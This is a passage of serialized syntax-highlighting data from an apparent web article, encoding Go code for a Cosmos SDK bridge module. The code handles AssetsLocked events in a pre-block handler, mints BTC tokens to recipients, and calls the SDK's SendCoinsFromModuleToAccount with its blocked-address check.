",{"type":23,"tag":41,"props":81690,"children":81691},{"style":170},[81692],{"type":28,"value":377},{"type":23,"tag":41,"props":81694,"children":81695},{"style":94},[81696],{"type":28,"value":81697},"PreBlockHandler",{"type":23,"tag":41,"props":81699,"children":81700},{"style":70},[81701],{"type":28,"value":866},{"type":23,"tag":41,"props":81703,"children":81704},{"style":114},[81705],{"type":28,"value":81398},{"type":23,"tag":41,"props":81707,"children":81708},{"style":70},[81709],{"type":28,"value":122},{"type":23,"tag":41,"props":81711,"children":81712},{"style":94},[81713],{"type":28,"value":78725},{"type":23,"tag":41,"props":81715,"children":81716},{"style":70},[81717],{"type":28,"value":706},{"type":23,"tag":41,"props":81719,"children":81720},{"style":94},[81721],{"type":28,"value":81398},{"type":23,"tag":41,"props":81723,"children":81724},{"style":70},[81725],{"type":28,"value":102},{"type":23,"tag":41,"props":81727,"children":81728},{"class":43,"line":54},[81729,81733,81737],{"type":23,"tag":41,"props":81730,"children":81731},{"style":58},[81732],{"type":28,"value":1090},{"type":23,"tag":41,"props":81734,"children":81735},{"style":64},[81736],{"type":28,"value":80004},{"type":23,"tag":41,"props":81738,"children":81739},{"style":70},[81740],{"type":28,"value":3461},{"type":23,"tag":41,"props":81742,"children":81743},{"class":43,"line":76},[81744,81748,81752,81756,81760],{"type":23,"tag":41,"props":81745,"children":81746},{"style":858},[81747],{"type":28,"value":26185},{"type":23,"tag":41,"props":81749,"children":81750},{"style":94},[81751],{"type":28,"value":78636},{"type":23,"tag":41,"props":81753,"children":81754},{"style":70},[81755],{"type":28,"value":706},{"type":23,"tag":41,"props":81757,"children":81758},{"style":94},[81759],{"type":28,"value":76344},{"type":23,"tag":41,"props":81761,"children":81762},{"style":70},[81763],{"type":28,"value":3506},{"type":23,"tag":41,"props":81765,"children":81766},{"class":43,"line":85},[81767,81772,81776,81781,81785,81790],{"type":23,"tag":41,"props":81768,"children":81769},{"style":858},[81770],{"type":28,"value":81771},"        req",{"type":23,"tag":41,"props":81773,"children":81774},{"style":170},[81775],{"type":28,"value":9814},{"type":23,"tag":41,"props":81777,"children":81778},{"style":94},[81779],{"type":28,"value":81780},"cmtabci",{"type":23,"tag":41,"props":81782,"children":81783},{"style":70},[81784],{"type":28,"value":706},{"type":23,"tag":41,"props":81786,"children":81787},{"style":94},[81788],{"type":28,"value":81789},"RequestFinalizeBlock",{"type":23,"tag":41,"props":81791,"children":81792},{"style":70},[81793],{"type":28,"value":3506},{"type":23,"tag":41,"props":81795,"children":81796},{"class":43,"line":105},[81797,81801,81805,81809,81813,81818,81822,81826],{"type":23,"tag":41,"props":81798,"children":81799},{"style":70},[81800],{"type":28,"value":80072},{"type":23,"tag":41,"props":81802,"children":81803},{"style":170},[81804],{"type":28,"value":377},{"type":23,"tag":41,"props":81806,"children":81807},{"style":94},[81808],{"type":28,"value":78725},{"type":23,"tag":41,"props":81810,"children":81811},{"style":70},[81812],{"type":28,"value":706},{"type":23,"tag":41,"props":81814,"children":81815},{"style":94},[81816],{"type":28,"value":81817},"ResponsePreBlock",{"type":23,"tag":41,"props":81819,"children":81820},{"style":70},[81821],{"type":28,"value":970},{"type":23,"tag":41,"props":81823,"children":81824},{"style":94},[81825],{"type":28,"value":14855},{"type":23,"tag":41,"props":81827,"children":81828},{"style":70},[81829],{"type":28,"value":152},{"type":23,"tag":41,"props":81831,"children":81832},{"class":43,"line":155},[81833],{"type":23,"tag":41,"props":81834,"children":81835},{"style":170},[81836],{"type":28,"value":2523},{"type":23,"tag":41,"props":81838,"children":81839},{"class":43,"line":186},[81840,81845,81849,81854,81858,81863,81867,81872,81876,81880,81884,81889],{"type":23,"tag":41,"props":81841,"children":81842},{"style":858},[81843],{"type":28,"value":81844},"        err",{"type":23,"tag":41,"props":81846,"children":81847},{"style":170},[81848],{"type":28,"value":76411},{"type":23,"tag":41,"props":81850,"children":81851},{"style":858},[81852],{"type":28,"value":81853}," pbh",{"type":23,"tag":41,"props":81855,"children":81856},{"style":70},[81857],{"type":28,"value":706},{"type":23,"tag":41,"props":81859,"children":81860},{"style":858},[81861],{"type":28,"value":81862},"bridgeKeeper",{"type":23,"tag":41,"props":81864,"children":81865},{"style":70},[81866],{"type":28,"value":706},{"type":23,"tag":41,"props":81868,"children":81869},{"style":114},[81870],{"type":28,"value":81871},"AcceptAssetsLocked",{"type":23,"tag":41,"props":81873,"children":81874},{"style":70},[81875],{"type":28,"value":1737},{"type":23,"tag":41,"props":81877,"children":81878},{"style":858},[81879],{"type":28,"value":20269},{"type":23,"tag":41,"props":81881,"children":81882},{"style":70},[81883],{"type":28,"value":970},{"type":23,"tag":41,"props":81885,"children":81886},{"style":858},[81887],{"type":28,"value":81888},"events",{"type":23,"tag":41,"props":81890,"children":81891},{"style":70},[81892],{"type":28,"value":1969},{"type":23,"tag":41,"props":81894,"children":81895},{"class":43,"line":195},[81896,81900,81904,81908,81913],{"type":23,"tag":41,"props":81897,"children":81898},{"style":58},[81899],{"type":28,"value":3272},{"type":23,"tag":41,"props":81901,"children":81902},{"style":858},[81903],{"type":28,"value":48515},{"type":23,"tag":41,"props":81905,"children":81906},{"style":170},[81907],{"type":28,"value":64382},{"type":23,"tag":41,"props":81909,"children":81910},{"style":64},[81911],{"type":28,"value":81912}," nil",{"type":23,"tag":41,"props":81914,"children":81915},{"style":70},[81916],{"type":28,"value":102},{"type":23,"tag":41,"props":81918,"children":81919},{"class":43,"line":905},[81920,81924,81928,81932,81937,81941,81946,81950,81955,81959,81963],{"type":23,"tag":41,"props":81921,"children":81922},{"style":58},[81923],{"type":28,"value":79071},{"type":23,"tag":41,"props":81925,"children":81926},{"style":64},[81927],{"type":28,"value":81912},{"type":23,"tag":41,"props":81929,"children":81930},{"style":70},[81931],{"type":28,"value":970},{"type":23,"tag":41,"props":81933,"children":81934},{"style":858},[81935],{"type":28,"value":81936},"fmt",{"type":23,"tag":41,"props":81938,"children":81939},{"style":70},[81940],{"type":28,"value":706},{"type":23,"tag":41,"props":81942,"children":81943},{"style":114},[81944],{"type":28,"value":81945},"Errorf",{"type":23,"tag":41,"props":81947,"children":81948},{"style":70},[81949],{"type":28,"value":1737},{"type":23,"tag":41,"props":81951,"children":81952},{"style":735},[81953],{"type":28,"value":81954},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":41,"props":81956,"children":81957},{"style":70},[81958],{"type":28,"value":970},{"type":23,"tag":41,"props":81960,"children":81961},{"style":858},[81962],{"type":28,"value":48414},{"type":23,"tag":41,"props":81964,"children":81965},{"style":70},[81966],{"type":28,"value":1969},{"type":23,"tag":41,"props":81968,"children":81969},{"class":43,"line":922},[81970],{"type":23,"tag":41,"props":81971,"children":81972},{"style":70},[81973],{"type":28,"value":3347},{"type":23,"tag":41,"props":81975,"children":81976},{"class":43,"line":930},[81977],{"type":23,"tag":41,"props":81978,"children":81979},{"style":170},[81980],{"type":28,"value":2523},{"type":23,"tag":41,"props":81982,"children":81983},{"class":43,"line":939},[81984],{"type":23,"tag":41,"props":81985,"children":81986},{"style":70},[81987],{"type":28,"value":192},{"type":23,"tag":41,"props":81989,"children":81990},{"class":43,"line":947},[81991],{"type":23,"tag":41,"props":81992,"children":81993},{"style":70},[81994],{"type":28,"value":201},{"type":23,"tag":41,"props":81996,"children":81997},{"class":43,"line":985},[81998],{"type":23,"tag":41,"props":81999,"children":82000},{"emptyLinePlaceholder":18},[82001],{"type":28,"value":82},{"type":23,"tag":41,"props":82003,"children":82004},{"class":43,"line":1058},[82005,82009,82013,82017,82021,82025,82029],{"type":23,"tag":41,"props":82006,"children":82007},{"style":64},[82008],{"type":28,"value":76295},{"type":23,"tag":41,"props":82010,"children":82011},{"style":70},[82012],{"type":28,"value":142},{"type":23,"tag":41,"props":82014,"children":82015},{"style":858},[82016],{"type":28,"value":81123},{"type":23,"tag":41,"props":82018,"children":82019},{"style":94},[82020],{"type":28,"value":79940},{"type":23,"tag":41,"props":82022,"children":82023},{"style":70},[82024],{"type":28,"value":866},{"type":23,"tag":41,"props":82026,"children":82027},{"style":114},[82028],{"type":28,"value":81871},{"type":23,"tag":41,"props":82030,"children":82031},{"style":70},[82032],{"type":28,"value":3461},{"type":23,"tag":41,"props":82034,"children":82035},{"class":43,"line":1084},[82036,82040,82044,82048,82052],{"type":23,"tag":41,"props":82037,"children":82038},{"style":858},[82039],{"type":28,"value":20212},{"type":23,"tag":41,"props":82041,"children":82042},{"style":94},[82043],{"type":28,"value":78636},{"type":23,"tag":41,"props":82045,"children":82046},{"style":70},[82047],{"type":28,"value":706},{"type":23,"tag":41,"props":82049,"children":82050},{"style":94},[82051],{"type":28,"value":76344},{"type":23,"tag":41,"props":82053,"children":82054},{"style":70},[82055],{"type":28,"value":3506},{"type":23,"tag":41,"props":82057,"children":82058},{"class":43,"line":1102},[82059,82064,82068,82072,82077],{"type":23,"tag":41,"props":82060,"children":82061},{"style":858},[82062],{"type":28,"value":82063},"    events",{"type":23,"tag":41,"props":82065,"children":82066},{"style":94},[82067],{"type":28,"value":78170},{"type":23,"tag":41,"props":82069,"children":82070},{"style":70},[82071],{"type":28,"value":706},{"type":23,"tag":41,"props":82073,"children":82074},{"style":94},[82075],{"type":28,"value":82076},"AssetsLockedEvents",{"type":23,"tag":41,"props":82078,"children":82079},{"style":70},[82080],{"type":28,"value":3506},{"type":23,"tag":41,"props":82082,"children":82083},{"class":43,"line":1110},[82084,82088,82092],{"type":23,"tag":41,"props":82085,"children":82086},{"style":70},[82087],{"type":28,"value":866},{"type":23,"tag":41,"props":82089,"children":82090},{"style":94},[82091],{"type":28,"value":14855},{"type":23,"tag":41,"props":82093,"children":82094},{"style":70},[82095],{"type":28,"value":102},{"type":23,"tag":41,"props":82097,"children":82098},{"class":43,"line":1118},[82099],{"type":23,"tag":41,"props":82100,"children":82101},{"style":170},[82102],{"type":28,"value":1567},{"type":23,"tag":41,"props":82104,"children":82105},{"class":43,"line":1137},[82106,82110,82114,82118,82123,82127,82131,82136],{"type":23,"tag":41,"props":82107,"children":82108},{"style":58},[82109],{"type":28,"value":3034},{"type":23,"tag":41,"props":82111,"children":82112},{"style":858},[82113],{"type":28,"value":3039},{"type":23,"tag":41,"props":82115,"children":82116},{"style":70},[82117],{"type":28,"value":970},{"type":23,"tag":41,"props":82119,"children":82120},{"style":858},[82121],{"type":28,"value":82122},"event",{"type":23,"tag":41,"props":82124,"children":82125},{"style":170},[82126],{"type":28,"value":76411},{"type":23,"tag":41,"props":82128,"children":82129},{"style":58},[82130],{"type":28,"value":77394},{"type":23,"tag":41,"props":82132,"children":82133},{"style":858},[82134],{"type":28,"value":82135}," events",{"type":23,"tag":41,"props":82137,"children":82138},{"style":70},[82139],{"type":28,"value":102},{"type":23,"tag":41,"props":82141,"children":82142},{"class":43,"line":1163},[82143,82148,82152,82156,82160,82164,82168,82173,82177,82181,82185,82190],{"type":23,"tag":41,"props":82144,"children":82145},{"style":858},[82146],{"type":28,"value":82147},"        recipient",{"type":23,"tag":41,"props":82149,"children":82150},{"style":70},[82151],{"type":28,"value":970},{"type":23,"tag":41,"props":82153,"children":82154},{"style":858},[82155],{"type":28,"value":48414},{"type":23,"tag":41,"props":82157,"children":82158},{"style":170},[82159],{"type":28,"value":76411},{"type":23,"tag":41,"props":82161,"children":82162},{"style":858},[82163],{"type":28,"value":78636},{"type":23,"tag":41,"props":82165,"children":82166},{"style":70},[82167],{"type":28,"value":706},{"type":23,"tag":41,"props":82169,"children":82170},{"style":114},[82171],{"type":28,"value":82172},"AccAddressFromBech32",{"type":23,"tag":41,"props":82174,"children":82175},{"style":70},[82176],{"type":28,"value":1737},{"type":23,"tag":41,"props":82178,"children":82179},{"style":858},[82180],{"type":28,"value":82122},{"type":23,"tag":41,"props":82182,"children":82183},{"style":70},[82184],{"type":28,"value":706},{"type":23,"tag":41,"props":82186,"children":82187},{"style":858},[82188],{"type":28,"value":82189},"Recipient",{"type":23,"tag":41,"props":82191,"children":82192},{"style":70},[82193],{"type":28,"value":1969},{"type":23,"tag":41,"props":82195,"children":82196},{"class":43,"line":1188},[82197,82201,82205,82209,82213],{"type":23,"tag":41,"props":82198,"children":82199},{"style":58},[82200],{"type":28,"value":3272},{"type":23,"tag":41,"props":82202,"children":82203},{"style":858},[82204],{"type":28,"value":48515},{"type":23,"tag":41,"props":82206,"children":82207},{"style":170},[82208],{"type":28,"value":64382},{"type":23,"tag":41,"props":82210,"children":82211},{"style":64},[82212],{"type":28,"value":81912},{"type":23,"tag":41,"props":82214,"children":82215},{"style":70},[82216],{"type":28,"value":102},{"type":23,"tag":41,"props":82218,"children":82219},{"class":43,"line":1979},[82220,82224,82229,82233,82237,82241,82246,82250,82254],{"type":23,"tag":41,"props":82221,"children":82222},{"style":58},[82223],{"type":28,"value":79071},{"type":23,"tag":41,"props":82225,"children":82226},{"style":858},[82227],{"type":28,"value":82228}," fmt",{"type":23,"tag":41,"props":82230,"children":82231},{"style":70},[82232],{"type":28,"value":706},{"type":23,"tag":41,"props":82234,"children":82235},{"style":114},[82236],{"type":28,"value":81945},{"type":23,"tag":41,"props":82238,"children":82239},{"style":70},[82240],{"type":28,"value":1737},{"type":23,"tag":41,"props":82242,"children":82243},{"style":735},[82244],{"type":28,"value":82245},"\"failed to parse recipient address: %w\"",{"type":23,"tag":41,"props":82247,"children":82248},{"style":70},[82249],{"type":28,"value":970},{"type":23,"tag":41,"props":82251,"children":82252},{"style":858},[82253],{"type":28,"value":48414},{"type":23,"tag":41,"props":82255,"children":82256},{"style":70},[82257],{"type":28,"value":1969},{"type":23,"tag":41,"props":82259,"children":82260},{"class":43,"line":2002},[82261],{"type":23,"tag":41,"props":82262,"children":82263},{"style":70},[82264],{"type":28,"value":3347},{"type":23,"tag":41,"props":82266,"children":82267},{"class":43,"line":3835},[82268],{"type":23,"tag":41,"props":82269,"children":82270},{"emptyLinePlaceholder":18},[82271],{"type":28,"value":82},{"type":23,"tag":41,"props":82273,"children":82274},{"class":43,"line":3895},[82275,82279,82284,82288,82293,82297,82301,82305,82310,82314,82319],{"type":23,"tag":41,"props":82276,"children":82277},{"style":58},[82278],{"type":28,"value":3272},{"type":23,"tag":41,"props":82280,"children":82281},{"style":858},[82282],{"type":28,"value":82283}," bytes",{"type":23,"tag":41,"props":82285,"children":82286},{"style":70},[82287],{"type":28,"value":706},{"type":23,"tag":41,"props":82289,"children":82290},{"style":114},[82291],{"type":28,"value":82292},"Equal",{"type":23,"tag":41,"props":82294,"children":82295},{"style":70},[82296],{"type":28,"value":1737},{"type":23,"tag":41,"props":82298,"children":82299},{"style":858},[82300],{"type":28,"value":82122},{"type":23,"tag":41,"props":82302,"children":82303},{"style":70},[82304],{"type":28,"value":706},{"type":23,"tag":41,"props":82306,"children":82307},{"style":114},[82308],{"type":28,"value":82309},"TokenBytes",{"type":23,"tag":41,"props":82311,"children":82312},{"style":70},[82313],{"type":28,"value":18363},{"type":23,"tag":41,"props":82315,"children":82316},{"style":858},[82317],{"type":28,"value":82318},"sourceBTCToken",{"type":23,"tag":41,"props":82320,"children":82321},{"style":70},[82322],{"type":28,"value":152},{"type":23,"tag":41,"props":82324,"children":82325},{"class":43,"line":9044},[82326,82331,82335,82339,82343,82348,82352,82356,82360,82364,82368,82372,82376,82380],{"type":23,"tag":41,"props":82327,"children":82328},{"style":858},[82329],{"type":28,"value":82330},"            err",{"type":23,"tag":41,"props":82332,"children":82333},{"style":170},[82334],{"type":28,"value":3017},{"type":23,"tag":41,"props":82336,"children":82337},{"style":858},[82338],{"type":28,"value":81251},{"type":23,"tag":41,"props":82340,"children":82341},{"style":70},[82342],{"type":28,"value":706},{"type":23,"tag":41,"props":82344,"children":82345},{"style":114},[82346],{"type":28,"value":82347},"mintBTC",{"type":23,"tag":41,"props":82349,"children":82350},{"style":70},[82351],{"type":28,"value":1737},{"type":23,"tag":41,"props":82353,"children":82354},{"style":858},[82355],{"type":28,"value":20269},{"type":23,"tag":41,"props":82357,"children":82358},{"style":70},[82359],{"type":28,"value":970},{"type":23,"tag":41,"props":82361,"children":82362},{"style":858},[82363],{"type":28,"value":81646},{"type":23,"tag":41,"props":82365,"children":82366},{"style":70},[82367],{"type":28,"value":970},{"type":23,"tag":41,"props":82369,"children":82370},{"style":858},[82371],{"type":28,"value":82122},{"type":23,"tag":41,"props":82373,"children":82374},{"style":70},[82375],{"type":28,"value":706},{"type":23,"tag":41,"props":82377,"children":82378},{"style":858},[82379],{"type":28,"value":79050},{"type":23,"tag":41,"props":82381,"children":82382},{"style":70},[82383],{"type":28,"value":1969},{"type":23,"tag":41,"props":82385,"children":82386},{"class":43,"line":9061},[82387,82391,82395,82399,82403],{"type":23,"tag":41,"props":82388,"children":82389},{"style":58},[82390],{"type":28,"value":58797},{"type":23,"tag":41,"props":82392,"children":82393},{"style":858},[82394],{"type":28,"value":48515},{"type":23,"tag":41,"props":82396,"children":82397},{"style":170},[82398],{"type":28,"value":64382},{"type":23,"tag":41,"props":82400,"children":82401},{"style":64},[82402],{"type":28,"value":81912},{"type":23,"tag":41,"props":82404,"children":82405},{"style":70},[82406],{"type":28,"value":102},{"type":23,"tag":41,"props":82408,"children":82409},{"class":43,"line":9106},[82410,82414,82418,82422,82426],{"type":23,"tag":41,"props":82411,"children":82412},{"style":58},[82413],{"type":28,"value":60725},{"type":23,"tag":41,"props":82415,"children":82416},{"style":858},[82417],{"type":28,"value":82228},{"type":23,"tag":41,"props":82419,"children":82420},{"style":70},[82421],{"type":28,"value":706},{"type":23,"tag":41,"props":82423,"children":82424},{"style":114},[82425],{"type":28,"value":81945},{"type":23,"tag":41,"props":82427,"children":82428},{"style":70},[82429],{"type":28,"value":3461},{"type":23,"tag":41,"props":82431,"children":82432},{"class":43,"line":9212},[82433,82438],{"type":23,"tag":41,"props":82434,"children":82435},{"style":735},[82436],{"type":28,"value":82437},"                    \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":41,"props":82439,"children":82440},{"style":70},[82441],{"type":28,"value":3506},{"type":23,"tag":41,"props":82443,"children":82444},{"class":43,"line":23496},[82445,82450,82454,82459],{"type":23,"tag":41,"props":82446,"children":82447},{"style":858},[82448],{"type":28,"value":82449},"                    event",{"type":23,"tag":41,"props":82451,"children":82452},{"style":70},[82453],{"type":28,"value":706},{"type":23,"tag":41,"props":82455,"children":82456},{"style":858},[82457],{"type":28,"value":82458},"Sequence",{"type":23,"tag":41,"props":82460,"children":82461},{"style":70},[82462],{"type":28,"value":3506},{"type":23,"tag":41,"props":82464,"children":82465},{"class":43,"line":23531},[82466,82471],{"type":23,"tag":41,"props":82467,"children":82468},{"style":858},[82469],{"type":28,"value":82470},"                    err",{"type":23,"tag":41,"props":82472,"children":82473},{"style":70},[82474],{"type":28,"value":3506},{"type":23,"tag":41,"props":82476,"children":82477},{"class":43,"line":23539},[82478],{"type":23,"tag":41,"props":82479,"children":82480},{"style":70},[82481],{"type":28,"value":82482},"                )\n",{"type":23,"tag":41,"props":82484,"children":82485},{"class":43,"line":23547},[82486],{"type":23,"tag":41,"props":82487,"children":82488},{"style":70},[82489],{"type":28,"value":58881},{"type":23,"tag":41,"props":82491,"children":82492},{"class":43,"line":23556},[82493,82497,82501],{"type":23,"tag":41,"props":82494,"children":82495},{"style":70},[82496],{"type":28,"value":3310},{"type":23,"tag":41,"props":82498,"children":82499},{"style":58},[82500],{"type":28,"value":3315},{"type":23,"tag":41,"props":82502,"children":82503},{"style":70},[82504],{"type":28,"value":102},{"type":23,"tag":41,"props":82506,"children":82507},{"class":43,"line":23598},[82508],{"type":23,"tag":41,"props":82509,"children":82510},{"style":170},[82511],{"type":28,"value":82512},"            ...\n",{"type":23,"tag":41,"props":82514,"children":82515},{"class":43,"line":23631},[82516],{"type":23,"tag":41,"props":82517,"children":82518},{"style":70},[82519],{"type":28,"value":3347},{"type":23,"tag":41,"props":82521,"children":82522},{"class":43,"line":23639},[82523],{"type":23,"tag":41,"props":82524,"children":82525},{"style":70},[82526],{"type":28,"value":192},{"type":23,"tag":41,"props":82528,"children":82529},{"class":43,"line":23647},[82530],{"type":23,"tag":41,"props":82531,"children":82532},{"style":170},[82533],{"type":28,"value":1567},{"type":23,"tag":41,"props":82535,"children":82536},{"class":43,"line":23656},[82537],{"type":23,"tag":41,"props":82538,"children":82539},{"style":70},[82540],{"type":28,"value":201},{"type":23,"tag":41,"props":82542,"children":82543},{"class":43,"line":23732},[82544],{"type":23,"tag":41,"props":82545,"children":82546},{"emptyLinePlaceholder":18},[82547],{"type":28,"value":82},{"type":23,"tag":41,"props":82549,"children":82550},{"class":43,"line":23765},[82551,82555,82559,82563,82567,82571,82575],{"type":23,"tag":41,"props":82552,"children":82553},{"style":64},[82554],{"type":28,"value":76295},{"type":23,"tag":41,"props":82556,"children":82557},{"style":70},[82558],{"type":28,"value":142},{"type":23,"tag":41,"props":82560,"children":82561},{"style":858},[82562],{"type":28,"value":81123},{"type":23,"tag":41,"props":82564,"children":82565},{"style":94},[82566],{"type":28,"value":79940},{"type":23,"tag":41,"props":82568,"children":82569},{"style":70},[82570],{"type":28,"value":866},{"type":23,"tag":41,"props":82572,"children":82573},{"style":114},[82574],{"type":28,"value":82347},{"type":23,"tag":41,"props":82576,"children":82577},{"style":70},[82578],{"type":28,"value":3461},{"type":23,"tag":41,"props":82580,"children":82581},{"class":43,"line":23773},[82582,82586,82590,82594,82598],{"type":23,"tag":41,"props":82583,"children":82584},{"style":858},[82585],{"type":28,"value":20212},{"type":23,"tag":41,"props":82587,"children":82588},{"style":94},[82589],{"type":28,"value":78636},{"type":23,"tag":41,"props":82591,"children":82592},{"style":70},[82593],{"type":28,"value":706},{"type":23,"tag":41,"props":82595,"children":82596},{"style":94},[82597],{"type":28,"value":76344},{"type":23,"tag":41,"props":82599,"children":82600},{"style":70},[82601],{"type":28,"value":3506},{"type":23,"tag":41,"props":82603,"children":82604},{"class":43,"line":23781},[82605,82610,82614,82618,82623],{"type":23,"tag":41,"props":82606,"children":82607},{"style":858},[82608],{"type":28,"value":82609},"    recipient",{"type":23,"tag":41,"props":82611,"children":82612},{"style":94},[82613],{"type":28,"value":78636},{"type":23,"tag":41,"props":82615,"children":82616},{"style":70},[82617],{"type":28,"value":706},{"type":23,"tag":41,"props":82619,"children":82620},{"style":94},[82621],{"type":28,"value":82622},"AccAddress",{"type":23,"tag":41,"props":82624,"children":82625},{"style":70},[82626],{"type":28,"value":3506},{"type":23,"tag":41,"props":82628,"children":82629},{"class":43,"line":23818},[82630,82634,82639,82643,82648],{"type":23,"tag":41,"props":82631,"children":82632},{"style":858},[82633],{"type":28,"value":61579},{"type":23,"tag":41,"props":82635,"children":82636},{"style":94},[82637],{"type":28,"value":82638}," math",{"type":23,"tag":41,"props":82640,"children":82641},{"style":70},[82642],{"type":28,"value":706},{"type":23,"tag":41,"props":82644,"children":82645},{"style":94},[82646],{"type":28,"value":82647},"Int",{"type":23,"tag":41,"props":82649,"children":82650},{"style":70},[82651],{"type":28,"value":3506},{"type":23,"tag":41,"props":82653,"children":82654},{"class":43,"line":23831},[82655,82659,82663],{"type":23,"tag":41,"props":82656,"children":82657},{"style":70},[82658],{"type":28,"value":866},{"type":23,"tag":41,"props":82660,"children":82661},{"style":94},[82662],{"type":28,"value":14855},{"type":23,"tag":41,"props":82664,"children":82665},{"style":70},[82666],{"type":28,"value":102},{"type":23,"tag":41,"props":82668,"children":82669},{"class":43,"line":23844},[82670],{"type":23,"tag":41,"props":82671,"children":82672},{"style":170},[82673],{"type":28,"value":1567},{"type":23,"tag":41,"props":82675,"children":82676},{"class":43,"line":23857},[82677,82682,82686,82690,82694,82699,82703,82707],{"type":23,"tag":41,"props":82678,"children":82679},{"style":858},[82680],{"type":28,"value":82681},"    err",{"type":23,"tag":41,"props":82683,"children":82684},{"style":170},[82685],{"type":28,"value":3017},{"type":23,"tag":41,"props":82687,"children":82688},{"style":858},[82689],{"type":28,"value":81251},{"type":23,"tag":41,"props":82691,"children":82692},{"style":70},[82693],{"type":28,"value":706},{"type":23,"tag":41,"props":82695,"children":82696},{"style":858},[82697],{"type":28,"value":82698},"bankKeeper",{"type":23,"tag":41,"props":82700,"children":82701},{"style":70},[82702],{"type":28,"value":706},{"type":23,"tag":41,"props":82704,"children":82705},{"style":114},[82706],{"type":28,"value":81638},{"type":23,"tag":41,"props":82708,"children":82709},{"style":70},[82710],{"type":28,"value":3461},{"type":23,"tag":41,"props":82712,"children":82713},{"class":43,"line":23911},[82714,82718],{"type":23,"tag":41,"props":82715,"children":82716},{"style":858},[82717],{"type":28,"value":26185},{"type":23,"tag":41,"props":82719,"children":82720},{"style":70},[82721],{"type":28,"value":3506},{"type":23,"tag":41,"props":82723,"children":82724},{"class":43,"line":23920},[82725,82730,82734,82739],{"type":23,"tag":41,"props":82726,"children":82727},{"style":858},[82728],{"type":28,"value":82729},"        types",{"type":23,"tag":41,"props":82731,"children":82732},{"style":70},[82733],{"type":28,"value":706},{"type":23,"tag":41,"props":82735,"children":82736},{"style":858},[82737],{"type":28,"value":82738},"ModuleName",{"type":23,"tag":41,"props":82740,"children":82741},{"style":70},[82742],{"type":28,"value":3506},{"type":23,"tag":41,"props":82744,"children":82745},{"class":43,"line":32275},[82746,82750],{"type":23,"tag":41,"props":82747,"children":82748},{"style":858},[82749],{"type":28,"value":82147},{"type":23,"tag":41,"props":82751,"children":82752},{"style":70},[82753],{"type":28,"value":3506},{"type":23,"tag":41,"props":82755,"children":82756},{"class":43,"line":32296},[82757,82762],{"type":23,"tag":41,"props":82758,"children":82759},{"style":858},[82760],{"type":28,"value":82761},"        coins",{"type":23,"tag":41,"props":82763,"children":82764},{"style":70},[82765],{"type":28,"value":3506},{"type":23,"tag":41,"props":82767,"children":82768},{"class":43,"line":80946},[82769],{"type":23,"tag":41,"props":82770,"children":82771},{"style":70},[82772],{"type":28,"value":23917},{"type":23,"tag":41,"props":82774,"children":82775},{"class":43,"line":80959},[82776,82780,82784,82788,82792],{"type":23,"tag":41,"props":82777,"children":82778},{"style":58},[82779],{"type":28,"value":2440},{"type":23,"tag":41,"props":82781,"children":82782},{"style":858},[82783],{"type":28,"value":48515},{"type":23,"tag":41,"props":82785,"children":82786},{"style":170},[82787],{"type":28,"value":64382},{"type":23,"tag":41,"props":82789,"children":82790},{"style":64},[82791],{"type":28,"value":81912},{"type":23,"tag":41,"props":82793,"children":82794},{"style":70},[82795],{"type":28,"value":102},{"type":23,"tag":41,"props":82797,"children":82798},{"class":43,"line":80967},[82799,82803,82807,82811,82815,82819,82824,82828,82832],{"type":23,"tag":41,"props":82800,"children":82801},{"style":58},[82802],{"type":28,"value":161},{"type":23,"tag":41,"props":82804,"children":82805},{"style":858},[82806],{"type":28,"value":82228},{"type":23,"tag":41,"props":82808,"children":82809},{"style":70},[82810],{"type":28,"value":706},{"type":23,"tag":41,"props":82812,"children":82813},{"style":114},[82814],{"type":28,"value":81945},{"type":23,"tag":41,"props":82816,"children":82817},{"style":70},[82818],{"type":28,"value":1737},{"type":23,"tag":41,"props":82820,"children":82821},{"style":735},[82822],{"type":28,"value":82823},"\"failed to send coins: %w\"",{"type":23,"tag":41,"props":82825,"children":82826},{"style":70},[82827],{"type":28,"value":970},{"type":23,"tag":41,"props":82829,"children":82830},{"style":858},[82831],{"type":28,"value":48414},{"type":23,"tag":41,"props":82833,"children":82834},{"style":70},[82835],{"type":28,"value":1969},{"type":23,"tag":41,"props":82837,"children":82838},{"class":43,"line":80975},[82839],{"type":23,"tag":41,"props":82840,"children":82841},{"style":70},[82842],{"type":28,"value":192},{"type":23,"tag":41,"props":82844,"children":82845},{"class":43,"line":80983},[82846],{"type":23,"tag":41,"props":82847,"children":82848},{"style":170},[82849],{"type":28,"value":1567},{"type":23,"tag":41,"props":82851,"children":82852},{"class":43,"line":81023},[82853],{"type":23,"tag":41,"props":82854,"children":82855},{"style":70},[82856],{"type":28,"value":201},{"type":23,"tag":31,"props":82858,"children":82860},{"code":82859,"language":76159,"meta":7,"className":76160,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[82861],{"type":23,"tag":37,"props":82862,"children":82863},{"__ignoreMap":7},[82864,82896,82975,82990,82998,83029,83087,83094,83101],{"type":23,"tag":41,"props":82865,"children":82866},{"class":43,"line":44},[82867,82871,82875,82879,82884,82888,82892],{"type":23,"tag":41,"props":82868,"children":82869},{"style":64},[82870],{"type":28,"value":76295},{"type":23,"tag":41,"props":82872,"children":82873},{"style":70},[82874],{"type":28,"value":142},{"type":23,"tag":41,"props":82876,"children":82877},{"style":858},[82878],{"type":28,"value":81123},{"type":23,"tag":41,"props":82880,"children":82881},{"style":94},[82882],{"type":28,"value":82883},"BaseKeeper",{"type":23,"tag":41,"props":82885,"children":82886},{"style":70},[82887],{"type":28,"value":866},{"type":23,"tag":41,"props":82889,"children":82890},{"style":114},[82891],{"type":28,"value":81638},{"type":23,"tag":41,"props":82893,"children":82894},{"style":70},[82895],{"type":28,"value":3461},{"type":23,"tag":41,"props":82897,"children":82898},{"class":43,"line":54},[82899,82903,82907,82911,82915,82919,82924,82928,82932,82937,82941,82945,82949,82953,82958,82962,82966,82971],{"type":23,"tag":41,"props":82900,"children":82901},{"style":858},[82902],{"type":28,"value":25842},{"type":23,"tag":41,"props":82904,"children":82905},{"style":94},[82906],{"type":28,"value":76335},{"type":23,"tag":41,"props":82908,"children":82909},{"style":70},[82910],{"type":28,"value":706},{"type":23,"tag":41,"props":82912,"children":82913},{"style":94},[82914],{"type":28,"value":76344},{"type":23,"tag":41,"p